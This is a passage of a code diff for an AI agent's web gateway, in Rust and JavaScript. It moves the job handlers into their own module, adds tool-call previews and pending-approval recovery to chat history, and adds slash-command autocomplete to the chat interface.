View File
@@ -6,6 +6,7 @@ use axum::{
response::{Html, IntoResponse}, response::{Html, IntoResponse},
}; };
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::web::types::*; use crate::channels::web::types::*;
// --- Static file handlers --- // --- Static file handlers ---
@@ -71,11 +72,7 @@ async fn serve_project_file(project_id: &str, path: &str) -> axum::response::Res
return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response(); return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response();
} }
let base = dirs::home_dir() let base = ironclaw_base_dir().join("projects").join(project_id);
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".ironclaw")
.join("projects")
.join(project_id);
let file_path = base.join(path); let file_path = base.join(path);
+1
View File
@@ -21,6 +21,7 @@ pub mod openai_compat;
pub mod server; pub mod server;
pub mod sse; pub mod sse;
pub mod types; pub mod types;
pub(crate) mod util;
pub mod ws; pub mod ws;
use std::net::SocketAddr; use std::net::SocketAddr;
+36 -557
View File
@@ -26,14 +26,21 @@ use tower_http::set_header::SetResponseHeaderLayer;
use uuid::Uuid; use uuid::Uuid;
use crate::agent::SessionManager; use crate::agent::SessionManager;
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::IncomingMessage; use crate::channels::IncomingMessage;
use crate::channels::web::auth::{AuthState, auth_middleware}; use crate::channels::web::auth::{AuthState, auth_middleware};
use crate::channels::web::handlers::jobs::{
job_files_list_handler, job_files_read_handler, jobs_cancel_handler, jobs_detail_handler,
jobs_events_handler, jobs_list_handler, jobs_prompt_handler, jobs_restart_handler,
jobs_summary_handler,
};
use crate::channels::web::handlers::skills::{ use crate::channels::web::handlers::skills::{
skills_install_handler, skills_list_handler, skills_remove_handler, skills_search_handler, skills_install_handler, skills_list_handler, skills_remove_handler, skills_search_handler,
}; };
use crate::channels::web::log_layer::LogBroadcaster; use crate::channels::web::log_layer::LogBroadcaster;
use crate::channels::web::sse::SseManager; use crate::channels::web::sse::SseManager;
use crate::channels::web::types::*; use crate::channels::web::types::*;
use crate::channels::web::util::{build_turns_from_db_messages, truncate_preview};
use crate::db::Database; use crate::db::Database;
use crate::extensions::ExtensionManager; use crate::extensions::ExtensionManager;
use crate::orchestrator::job_manager::ContainerJobManager; use crate::orchestrator::job_manager::ContainerJobManager;
@@ -734,12 +741,13 @@ async fn chat_history_handler(
turns, turns,
has_more, has_more,
oldest_timestamp, oldest_timestamp,
pending_approval: None,
})); }));
} }
// Try in-memory first (freshest data for active threads) // Try in-memory first (freshest data for active threads)
if let Some(thread) = sess.threads.get(&thread_id) if let Some(thread) = sess.threads.get(&thread_id)
&& !thread.turns.is_empty() && (!thread.turns.is_empty() || thread.pending_approval.is_some())
{ {
let turns: Vec<TurnInfo> = thread let turns: Vec<TurnInfo> = thread
.turns .turns
@@ -758,16 +766,35 @@ async fn chat_history_handler(
name: tc.name.clone(), name: tc.name.clone(),
has_result: tc.result.is_some(), has_result: tc.result.is_some(),
has_error: tc.error.is_some(), has_error: tc.error.is_some(),
result_preview: tc.result.as_ref().map(|r| {
let s = match r {
serde_json::Value::String(s) => s.clone(),
other => other.to_string(),
};
truncate_preview(&s, 500)
}),
error: tc.error.clone(),
}) })
.collect(), .collect(),
}) })
.collect(); .collect();
let pending_approval = thread
.pending_approval
.as_ref()
.map(|pa| PendingApprovalInfo {
request_id: pa.request_id.to_string(),
tool_name: pa.tool_name.clone(),
description: pa.description.clone(),
parameters: serde_json::to_string_pretty(&pa.parameters).unwrap_or_default(),
});
return Ok(Json(HistoryResponse { return Ok(Json(HistoryResponse {
thread_id, thread_id,
turns, turns,
has_more: false, has_more: false,
oldest_timestamp: None, oldest_timestamp: None,
pending_approval,
})); }));
} }
@@ -786,6 +813,7 @@ async fn chat_history_handler(
turns, turns,
has_more, has_more,
oldest_timestamp, oldest_timestamp,
pending_approval: None,
})); }));
} }
} }
@@ -796,49 +824,10 @@ async fn chat_history_handler(
turns: Vec::new(), turns: Vec::new(),
has_more: false, has_more: false,
oldest_timestamp: None, oldest_timestamp: None,
pending_approval: None,
})) }))
} }
/// Build TurnInfo pairs from flat DB messages (alternating user/assistant).
fn build_turns_from_db_messages(messages: &[crate::history::ConversationMessage]) -> Vec<TurnInfo> {
let mut turns = Vec::new();
let mut turn_number = 0;
let mut iter = messages.iter().peekable();
while let Some(msg) = iter.next() {
if msg.role == "user" {
let mut turn = TurnInfo {
turn_number,
user_input: msg.content.clone(),
response: None,
state: "Completed".to_string(),
started_at: msg.created_at.to_rfc3339(),
completed_at: None,
tool_calls: Vec::new(),
};
// Check if next message is an assistant response
if let Some(next) = iter.peek()
&& next.role == "assistant"
{
let assistant_msg = iter.next().expect("peeked");
turn.response = Some(assistant_msg.content.clone());
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
}
// Incomplete turn (user message without response)
if turn.response.is_none() {
turn.state = "Failed".to_string();
}
turns.push(turn);
turn_number += 1;
}
}
turns
}
async fn chat_threads_handler( async fn chat_threads_handler(
State(state): State<Arc<GatewayState>>, State(state): State<Arc<GatewayState>>,
) -> Result<Json<ThreadListResponse>, (StatusCode, String)> { ) -> Result<Json<ThreadListResponse>, (StatusCode, String)> {
@@ -869,7 +858,7 @@ async fn chat_threads_handler(
let info = ThreadInfo { let info = ThreadInfo {
id: s.id, id: s.id,
state: "Idle".to_string(), state: "Idle".to_string(),
turn_count: (s.message_count / 2).max(0) as usize, turn_count: s.message_count.max(0) as usize,
created_at: s.started_at.to_rfc3339(), created_at: s.started_at.to_rfc3339(),
updated_at: s.last_activity.to_rfc3339(), updated_at: s.last_activity.to_rfc3339(),
title: s.title.clone(), title: s.title.clone(),
@@ -1132,514 +1121,7 @@ async fn memory_search_handler(
Ok(Json(MemorySearchResponse { results: hits })) Ok(Json(MemorySearchResponse { results: hits }))
} }
// --- Jobs handlers --- // Job handlers moved to handlers/jobs.rs
async fn jobs_list_handler(
State(state): State<Arc<GatewayState>>,
) -> Result<Json<JobListResponse>, (StatusCode, String)> {
let store = state.store.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Database not available".to_string(),
))?;
// Fetch sandbox jobs scoped to the authenticated user.
let sandbox_jobs = store
.list_sandbox_jobs_for_user(&state.user_id)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
// Scope jobs to the authenticated user.
let mut jobs: Vec<JobInfo> = sandbox_jobs
.iter()
.filter(|j| j.user_id == state.user_id)
.map(|j| {
let ui_state = match j.status.as_str() {
"creating" => "pending",
"running" => "in_progress",
s => s,
};
JobInfo {
id: j.id,
title: j.task.clone(),
state: ui_state.to_string(),
user_id: j.user_id.clone(),
created_at: j.created_at.to_rfc3339(),
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
}
})
.collect();
// Most recent first.
jobs.sort_by(|a, b| b.created_at.cmp(&a.created_at));
Ok(Json(JobListResponse { jobs }))
}
async fn jobs_summary_handler(
State(state): State<Arc<GatewayState>>,
) -> Result<Json<JobSummaryResponse>, (StatusCode, String)> {
let store = state.store.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Database not available".to_string(),
))?;
let s = store
.sandbox_job_summary_for_user(&state.user_id)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
Ok(Json(JobSummaryResponse {
total: s.total,
pending: s.creating,
in_progress: s.running,
completed: s.completed,
failed: s.failed + s.interrupted,
stuck: 0,
}))
}
async fn jobs_detail_handler(
State(state): State<Arc<GatewayState>>,
Path(id): Path<String>,
) -> Result<Json<JobDetailResponse>, (StatusCode, String)> {
let job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Try sandbox job from DB first, scoped to the authenticated user.
if let Some(ref store) = state.store
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
{
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let browse_id = std::path::Path::new(&job.project_dir)
.file_name()
.map(|n| n.to_string_lossy().to_string())
.unwrap_or_else(|| job.id.to_string());
let ui_state = match job.status.as_str() {
"creating" => "pending",
"running" => "in_progress",
s => s,
};
let elapsed_secs = job.started_at.map(|start| {
let end = job.completed_at.unwrap_or_else(chrono::Utc::now);
(end - start).num_seconds().max(0) as u64
});
// Synthesize transitions from timestamps.
let mut transitions = Vec::new();
if let Some(started) = job.started_at {
transitions.push(TransitionInfo {
from: "creating".to_string(),
to: "running".to_string(),
timestamp: started.to_rfc3339(),
reason: None,
});
}
if let Some(completed) = job.completed_at {
transitions.push(TransitionInfo {
from: "running".to_string(),
to: job.status.clone(),
timestamp: completed.to_rfc3339(),
reason: job.failure_reason.clone(),
});
}
return Ok(Json(JobDetailResponse {
id: job.id,
title: job.task.clone(),
description: String::new(),
state: ui_state.to_string(),
user_id: job.user_id.clone(),
created_at: job.created_at.to_rfc3339(),
started_at: job.started_at.map(|dt| dt.to_rfc3339()),
completed_at: job.completed_at.map(|dt| dt.to_rfc3339()),
elapsed_secs,
project_dir: Some(job.project_dir.clone()),
browse_url: Some(format!("/projects/{}/", browse_id)),
job_mode: {
let mode = store.get_sandbox_job_mode(job.id).await.ok().flatten();
mode.filter(|m| m != "worker")
},
transitions,
}));
}
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
}
async fn jobs_cancel_handler(
State(state): State<Arc<GatewayState>>,
Path(id): Path<String>,
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
let job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Try sandbox job cancellation, scoped to the authenticated user.
if let Some(ref store) = state.store
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
{
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
if job.status == "running" || job.status == "creating" {
// Stop the container if we have a job manager.
if let Some(ref jm) = state.job_manager
&& let Err(e) = jm.stop_job(job_id).await
{
tracing::warn!(job_id = %job_id, error = %e, "Failed to stop container during cancellation");
}
store
.update_sandbox_job_status(
job_id,
"failed",
Some(false),
Some("Cancelled by user"),
None,
Some(chrono::Utc::now()),
)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
}
return Ok(Json(serde_json::json!({
"status": "cancelled",
"job_id": job_id,
})));
}
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
}
async fn jobs_restart_handler(
State(state): State<Arc<GatewayState>>,
Path(id): Path<String>,
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
let store = state.store.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Database not available".to_string(),
))?;
let jm = state.job_manager.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Sandbox not enabled".to_string(),
))?;
let old_job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
let old_job = store
.get_sandbox_job(old_job_id)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Scope to the authenticated user.
if old_job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
if old_job.status != "interrupted" && old_job.status != "failed" {
return Err((
StatusCode::CONFLICT,
format!("Cannot restart job in state '{}'", old_job.status),
));
}
// Create a new job with the same task and project_dir.
let new_job_id = Uuid::new_v4();
let now = chrono::Utc::now();
let record = crate::history::SandboxJobRecord {
id: new_job_id,
task: old_job.task.clone(),
status: "creating".to_string(),
user_id: old_job.user_id.clone(),
project_dir: old_job.project_dir.clone(),
success: None,
failure_reason: None,
created_at: now,
started_at: None,
completed_at: None,
credential_grants_json: old_job.credential_grants_json.clone(),
};
store
.save_sandbox_job(&record)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
// Look up the original job's mode so the restart uses the same mode.
let mode = match store.get_sandbox_job_mode(old_job_id).await {
Ok(Some(m)) if m == "claude_code" => crate::orchestrator::job_manager::JobMode::ClaudeCode,
_ => crate::orchestrator::job_manager::JobMode::Worker,
};
// Restore credential grants from the original job so the restarted container
// has access to the same secrets.
let credential_grants: Vec<crate::orchestrator::auth::CredentialGrant> =
serde_json::from_str(&old_job.credential_grants_json).unwrap_or_else(|e| {
tracing::warn!(
job_id = %old_job.id,
"Failed to deserialize credential grants from stored job: {}. \
Restarted job will have no credentials.",
e
);
vec![]
});
let project_dir = std::path::PathBuf::from(&old_job.project_dir);
let _token = jm
.create_job(
new_job_id,
&old_job.task,
Some(project_dir),
mode,
credential_grants,
)
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("Failed to create container: {}", e),
)
})?;
store
.update_sandbox_job_status(new_job_id, "running", None, None, Some(now), None)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
Ok(Json(serde_json::json!({
"status": "restarted",
"old_job_id": old_job_id,
"new_job_id": new_job_id,
})))
}
// --- Claude Code prompt and events handlers ---
/// Submit a follow-up prompt to a running Claude Code sandbox job.
async fn jobs_prompt_handler(
State(state): State<Arc<GatewayState>>,
Path(id): Path<String>,
Json(body): Json<serde_json::Value>,
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
let prompt_queue = state.prompt_queue.as_ref().ok_or((
StatusCode::NOT_IMPLEMENTED,
"Claude Code not configured".to_string(),
))?;
let job_id: uuid::Uuid = id
.parse()
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Verify user owns this job.
if let Some(ref store) = state.store
&& !store
.sandbox_job_belongs_to_user(job_id, &state.user_id)
.await
.unwrap_or(false)
{
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let content = body
.get("content")
.and_then(|v| v.as_str())
.ok_or((
StatusCode::BAD_REQUEST,
"Missing 'content' field".to_string(),
))?
.to_string();
let done = body.get("done").and_then(|v| v.as_bool()).unwrap_or(false);
let prompt = crate::orchestrator::api::PendingPrompt { content, done };
{
let mut queue = prompt_queue.lock().await;
queue.entry(job_id).or_default().push_back(prompt);
}
Ok(Json(serde_json::json!({
"status": "queued",
"job_id": job_id.to_string(),
})))
}
/// Load persisted job events for a job (for history replay on page open).
async fn jobs_events_handler(
State(state): State<Arc<GatewayState>>,
Path(id): Path<String>,
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
let store = state.store.as_ref().ok_or((
StatusCode::NOT_IMPLEMENTED,
"Database not available".to_string(),
))?;
let job_id: uuid::Uuid = id
.parse()
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
// Verify user owns this job.
if !store
.sandbox_job_belongs_to_user(job_id, &state.user_id)
.await
.unwrap_or(false)
{
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let events = store
.list_job_events(job_id, None)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
let events_json: Vec<serde_json::Value> = events
.into_iter()
.map(|e| {
serde_json::json!({
"id": e.id,
"event_type": e.event_type,
"data": e.data,
"created_at": e.created_at.to_rfc3339(),
})
})
.collect();
Ok(Json(serde_json::json!({
"job_id": job_id.to_string(),
"events": events_json,
})))
}
// --- Project file handlers for sandbox jobs ---
#[derive(Deserialize)]
struct FilePathQuery {
path: Option<String>,
}
async fn job_files_list_handler(
State(state): State<Arc<GatewayState>>,
Path(id): Path<String>,
Query(query): Query<FilePathQuery>,
) -> Result<Json<ProjectFilesResponse>, (StatusCode, String)> {
let store = state.store.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Database not available".to_string(),
))?;
let job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
let job = store
.get_sandbox_job(job_id)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Verify user owns this job.
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let base = std::path::PathBuf::from(&job.project_dir);
let rel_path = query.path.as_deref().unwrap_or("");
let target = base.join(rel_path);
// Path traversal guard.
let canonical = target
.canonicalize()
.map_err(|_| (StatusCode::NOT_FOUND, "Path not found".to_string()))?;
let base_canonical = base
.canonicalize()
.map_err(|_| (StatusCode::NOT_FOUND, "Project dir not found".to_string()))?;
if !canonical.starts_with(&base_canonical) {
return Err((StatusCode::FORBIDDEN, "Forbidden".to_string()));
}
let mut entries = Vec::new();
let mut read_dir = tokio::fs::read_dir(&canonical)
.await
.map_err(|_| (StatusCode::NOT_FOUND, "Cannot read directory".to_string()))?;
while let Ok(Some(entry)) = read_dir.next_entry().await {
let name = entry.file_name().to_string_lossy().to_string();
let is_dir = entry
.file_type()
.await
.map(|ft| ft.is_dir())
.unwrap_or(false);
let rel = if rel_path.is_empty() {
name.clone()
} else {
format!("{}/{}", rel_path, name)
};
entries.push(ProjectFileEntry {
name,
path: rel,
is_dir,
});
}
entries.sort_by(|a, b| b.is_dir.cmp(&a.is_dir).then_with(|| a.name.cmp(&b.name)));
Ok(Json(ProjectFilesResponse { entries }))
}
async fn job_files_read_handler(
State(state): State<Arc<GatewayState>>,
Path(id): Path<String>,
Query(query): Query<FilePathQuery>,
) -> Result<Json<ProjectFileReadResponse>, (StatusCode, String)> {
let store = state.store.as_ref().ok_or((
StatusCode::SERVICE_UNAVAILABLE,
"Database not available".to_string(),
))?;
let job_id = Uuid::parse_str(&id)
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
let job = store
.get_sandbox_job(job_id)
.await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
// Verify user owns this job.
if job.user_id != state.user_id {
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
}
let path = query.path.as_deref().ok_or((
StatusCode::BAD_REQUEST,
"path parameter required".to_string(),
))?;
let base = std::path::PathBuf::from(&job.project_dir);
let file_path = base.join(path);
let canonical = file_path
.canonicalize()
.map_err(|_| (StatusCode::NOT_FOUND, "File not found".to_string()))?;
let base_canonical = base
.canonicalize()
.map_err(|_| (StatusCode::NOT_FOUND, "Project dir not found".to_string()))?;
if !canonical.starts_with(&base_canonical) {
return Err((StatusCode::FORBIDDEN, "Forbidden".to_string()));
}
let content = tokio::fs::read_to_string(&canonical)
.await
.map_err(|_| (StatusCode::NOT_FOUND, "Cannot read file".to_string()))?;
Ok(Json(ProjectFileReadResponse {
path: path.to_string(),
content,
}))
}
// --- Logs handlers --- // --- Logs handlers ---
async fn logs_events_handler( async fn logs_events_handler(
@@ -1756,6 +1238,7 @@ async fn extensions_list_handler(
}; };
ExtensionInfo { ExtensionInfo {
name: ext.name, name: ext.name,
display_name: ext.display_name,
kind: ext.kind.to_string(), kind: ext.kind.to_string(),
description: ext.description, description: ext.description,
url: ext.url, url: ext.url,
@@ -1921,11 +1404,7 @@ async fn serve_project_file(project_id: &str, path: &str) -> axum::response::Res
return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response(); return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response();
} }
let base = dirs::home_dir() let base = ironclaw_base_dir().join("projects").join(project_id);
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".ironclaw")
.join("projects")
.join(project_id);
let file_path = base.join(path); let file_path = base.join(path);
@@ -2166,7 +1645,7 @@ async fn routines_list_handler(
))?; ))?;
let routines = store let routines = store
.list_routines(&state.user_id) .list_all_routines()
.await .await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
@@ -2184,7 +1663,7 @@ async fn routines_summary_handler(
))?; ))?;
let routines = store let routines = store
.list_routines(&state.user_id) .list_all_routines()
.await .await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?; .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
+222 -49
View File
@@ -16,6 +16,31 @@ let pairingPollInterval = null;
const JOB_EVENTS_CAP = 500; const JOB_EVENTS_CAP = 500;
const MEMORY_SEARCH_QUERY_MAX_LENGTH = 100; const MEMORY_SEARCH_QUERY_MAX_LENGTH = 100;
// --- Slash Commands ---
const SLASH_COMMANDS = [
{ cmd: '/status', desc: 'Show all jobs, or /status <id> for one job' },
{ cmd: '/list', desc: 'List all jobs' },
{ cmd: '/cancel', desc: '/cancel <job-id> — cancel a running job' },
{ cmd: '/undo', desc: 'Revert the last turn' },
{ cmd: '/redo', desc: 'Re-apply an undone turn' },
{ cmd: '/compact', desc: 'Compress the context window' },
{ cmd: '/clear', desc: 'Clear thread and start fresh' },
{ cmd: '/interrupt', desc: 'Stop the current turn' },
{ cmd: '/heartbeat', desc: 'Trigger manual heartbeat check' },
{ cmd: '/summarize', desc: 'Summarize the current thread' },
{ cmd: '/suggest', desc: 'Suggest next steps' },
{ cmd: '/help', desc: 'Show help' },
{ cmd: '/version', desc: 'Show version info' },
{ cmd: '/tools', desc: 'List available tools' },
{ cmd: '/skills', desc: 'List installed skills' },
{ cmd: '/model', desc: 'Show or switch the LLM model' },
{ cmd: '/thread new', desc: 'Create a new conversation thread' },
];
let _slashSelected = -1;
let _slashMatches = [];
// --- Tool Activity State --- // --- Tool Activity State ---
let _activeGroup = null; let _activeGroup = null;
let _activeToolCards = {}; let _activeToolCards = {};
@@ -135,7 +160,6 @@ function connectSSE() {
if (!isCurrentThread(data.thread_id)) return; if (!isCurrentThread(data.thread_id)) return;
finalizeActivityGroup(); finalizeActivityGroup();
addMessage('assistant', data.content); addMessage('assistant', data.content);
setStatus('');
enableChatInput(); enableChatInput();
// Refresh thread list so new titles appear after first message // Refresh thread list so new titles appear after first message
loadThreads(); loadThreads();
@@ -175,10 +199,10 @@ function connectSSE() {
eventSource.addEventListener('status', (e) => { eventSource.addEventListener('status', (e) => {
const data = JSON.parse(e.data); const data = JSON.parse(e.data);
if (!isCurrentThread(data.thread_id)) return; if (!isCurrentThread(data.thread_id)) return;
setStatus(data.message);
// "Done" and "Awaiting approval" are terminal signals from the agent: // "Done" and "Awaiting approval" are terminal signals from the agent:
// the agentic loop finished, so re-enable input as a safety net in case // the agentic loop finished, so re-enable input as a safety net in case
// the response SSE event is empty or lost. // the response SSE event is empty or lost.
// Status text is not displayed — inline activity cards handle visual feedback.
if (data.message === 'Done' || data.message === 'Awaiting approval') { if (data.message === 'Done' || data.message === 'Awaiting approval') {
finalizeActivityGroup(); finalizeActivityGroup();
enableChatInput(); enableChatInput();
@@ -264,10 +288,8 @@ function isCurrentThread(threadId) {
function sendMessage() { function sendMessage() {
const input = document.getElementById('chat-input'); const input = document.getElementById('chat-input');
const sendBtn = document.getElementById('send-btn');
if (!currentThreadId) { if (!currentThreadId) {
console.warn('sendMessage: no thread selected, ignoring'); console.warn('sendMessage: no thread selected, ignoring');
setStatus('Waiting for thread to load...');
return; return;
} }
const content = input.value.trim(); const content = input.value.trim();
@@ -276,27 +298,82 @@ function sendMessage() {
addMessage('user', content); addMessage('user', content);
input.value = ''; input.value = '';
autoResizeTextarea(input); autoResizeTextarea(input);
sendBtn.disabled = true; input.focus();
input.disabled = true;
apiFetch('/api/chat/send', { apiFetch('/api/chat/send', {
method: 'POST', method: 'POST',
body: { content, thread_id: currentThreadId || undefined }, body: { content, thread_id: currentThreadId || undefined },
}).catch((err) => { }).catch((err) => {
addMessage('system', 'Failed to send: ' + err.message); addMessage('system', 'Failed to send: ' + err.message);
setStatus('');
enableChatInput();
}); });
} }
function enableChatInput() { function enableChatInput() {
// Don't re-enable until a thread is selected (prevents orphan messages) // no-op: input and send button are always enabled
if (!currentThreadId) return; }
// --- Slash Autocomplete ---
function showSlashAutocomplete(matches) {
const el = document.getElementById('slash-autocomplete');
if (!el || matches.length === 0) { hideSlashAutocomplete(); return; }
_slashMatches = matches;
_slashSelected = -1;
el.innerHTML = '';
matches.forEach((item, i) => {
const row = document.createElement('div');
row.className = 'slash-ac-item';
row.dataset.index = i;
var cmdSpan = document.createElement('span');
cmdSpan.className = 'slash-ac-cmd';
cmdSpan.textContent = item.cmd;
var descSpan = document.createElement('span');
descSpan.className = 'slash-ac-desc';
descSpan.textContent = item.desc;
row.appendChild(cmdSpan);
row.appendChild(descSpan);
row.addEventListener('mousedown', (e) => {
e.preventDefault(); // prevent blur
selectSlashItem(item.cmd);
});
el.appendChild(row);
});
el.style.display = 'block';
}
function hideSlashAutocomplete() {
const el = document.getElementById('slash-autocomplete');
if (el) el.style.display = 'none';
_slashSelected = -1;
_slashMatches = [];
}
function selectSlashItem(cmd) {
const input = document.getElementById('chat-input'); const input = document.getElementById('chat-input');
const sendBtn = document.getElementById('send-btn'); input.value = cmd + ' ';
sendBtn.disabled = false;
input.disabled = false;
input.focus(); input.focus();
hideSlashAutocomplete();
autoResizeTextarea(input);
}
function updateSlashHighlight() {
const items = document.querySelectorAll('#slash-autocomplete .slash-ac-item');
items.forEach((el, i) => el.classList.toggle('selected', i === _slashSelected));
if (_slashSelected >= 0 && items[_slashSelected]) {
items[_slashSelected].scrollIntoView({ block: 'nearest' });
}
}
function filterSlashCommands(value) {
if (!value.startsWith('/')) { hideSlashAutocomplete(); return; }
// Only show autocomplete when the input is just a slash command prefix (no spaces except /thread new)
const lower = value.toLowerCase();
const matches = SLASH_COMMANDS.filter((c) => c.cmd.startsWith(lower));
if (matches.length === 0 || (matches.length === 1 && matches[0].cmd === lower.trimEnd())) {
hideSlashAutocomplete();
} else {
showSlashAutocomplete(matches);
}
} }
function sendApprovalAction(requestId, action) { function sendApprovalAction(requestId, action) {
@@ -320,6 +397,8 @@ function sendApprovalAction(requestId, action) {
const labelText = action === 'approve' ? 'Approved' : action === 'always' ? 'Always approved' : 'Denied'; const labelText = action === 'approve' ? 'Approved' : action === 'always' ? 'Always approved' : 'Denied';
label.textContent = labelText; label.textContent = labelText;
actions.appendChild(label); actions.appendChild(label);
// Remove the card after showing the confirmation briefly
setTimeout(() => { card.remove(); }, 1500);
} }
} }
@@ -395,15 +474,6 @@ function appendToLastAssistant(chunk) {
} }
} }
function setStatus(text) {
const el = document.getElementById('chat-status');
if (!text) {
el.innerHTML = '';
return;
}
el.innerHTML = escapeHtml(text);
}
// --- Inline Tool Activity Cards --- // --- Inline Tool Activity Cards ---
function getOrCreateActivityGroup() { function getOrCreateActivityGroup() {
@@ -907,10 +977,22 @@ function loadHistory(before) {
container.innerHTML = ''; container.innerHTML = '';
for (const turn of data.turns) { for (const turn of data.turns) {
addMessage('user', turn.user_input); addMessage('user', turn.user_input);
if (turn.tool_calls && turn.tool_calls.length > 0) {
addToolCallsSummary(turn.tool_calls);
}
if (turn.response) { if (turn.response) {
addMessage('assistant', turn.response); addMessage('assistant', turn.response);
} }
} }
// Show processing indicator if the last turn is still in-progress
var lastTurn = data.turns.length > 0 ? data.turns[data.turns.length - 1] : null;
if (lastTurn && !lastTurn.response && lastTurn.state === 'Processing') {
showActivityThinking('Processing...');
}
// Re-render pending approval card if the thread is awaiting approval
if (data.pending_approval) {
showApproval(data.pending_approval);
}
} else { } else {
// Pagination: prepend older messages // Pagination: prepend older messages
const savedHeight = container.scrollHeight; const savedHeight = container.scrollHeight;
@@ -918,6 +1000,9 @@ function loadHistory(before) {
for (const turn of data.turns) { for (const turn of data.turns) {
const userDiv = createMessageElement('user', turn.user_input); const userDiv = createMessageElement('user', turn.user_input);
fragment.appendChild(userDiv); fragment.appendChild(userDiv);
if (turn.tool_calls && turn.tool_calls.length > 0) {
fragment.appendChild(createToolCallsSummaryElement(turn.tool_calls));
}
if (turn.response) { if (turn.response) {
const assistantDiv = createMessageElement('assistant', turn.response); const assistantDiv = createMessageElement('assistant', turn.response);
fragment.appendChild(assistantDiv); fragment.appendChild(assistantDiv);
@@ -951,6 +1036,61 @@ function createMessageElement(role, content) {
return div; return div;
} }
function addToolCallsSummary(toolCalls) {
const container = document.getElementById('chat-messages');
container.appendChild(createToolCallsSummaryElement(toolCalls));
container.scrollTop = container.scrollHeight;
}
function createToolCallsSummaryElement(toolCalls) {
const div = document.createElement('div');
div.className = 'tool-calls-summary';
const header = document.createElement('div');
header.className = 'tool-calls-header';
header.textContent = toolCalls.length + ' tool' + (toolCalls.length !== 1 ? 's' : '') + ' used';
div.appendChild(header);
const list = document.createElement('div');
list.className = 'tool-calls-list';
for (const tc of toolCalls) {
const item = document.createElement('div');
item.className = 'tool-call-item' + (tc.has_error ? ' tool-error' : '');
const icon = tc.has_error ? '\u2717' : '\u2713';
const nameSpan = document.createElement('span');
nameSpan.className = 'tool-call-name';
nameSpan.textContent = icon + ' ' + tc.name;
item.appendChild(nameSpan);
if (tc.result_preview) {
const preview = document.createElement('div');
preview.className = 'tool-call-preview';
preview.textContent = tc.result_preview;
item.appendChild(preview);
}
if (tc.error) {
const errDiv = document.createElement('div');
errDiv.className = 'tool-call-error-text';
errDiv.textContent = tc.error;
item.appendChild(errDiv);
}
list.appendChild(item);
}
div.appendChild(list);
header.style.cursor = 'pointer';
header.addEventListener('click', () => {
list.classList.toggle('expanded');
header.classList.toggle('expanded');
});
return div;
}
function removeScrollSpinner() { function removeScrollSpinner() {
const spinner = document.getElementById('scroll-load-spinner'); const spinner = document.getElementById('scroll-load-spinner');
if (spinner) spinner.remove(); if (spinner) spinner.remove();
@@ -1026,7 +1166,6 @@ function createNewThread() {
apiFetch('/api/chat/thread/new', { method: 'POST' }).then((data) => { apiFetch('/api/chat/thread/new', { method: 'POST' }).then((data) => {
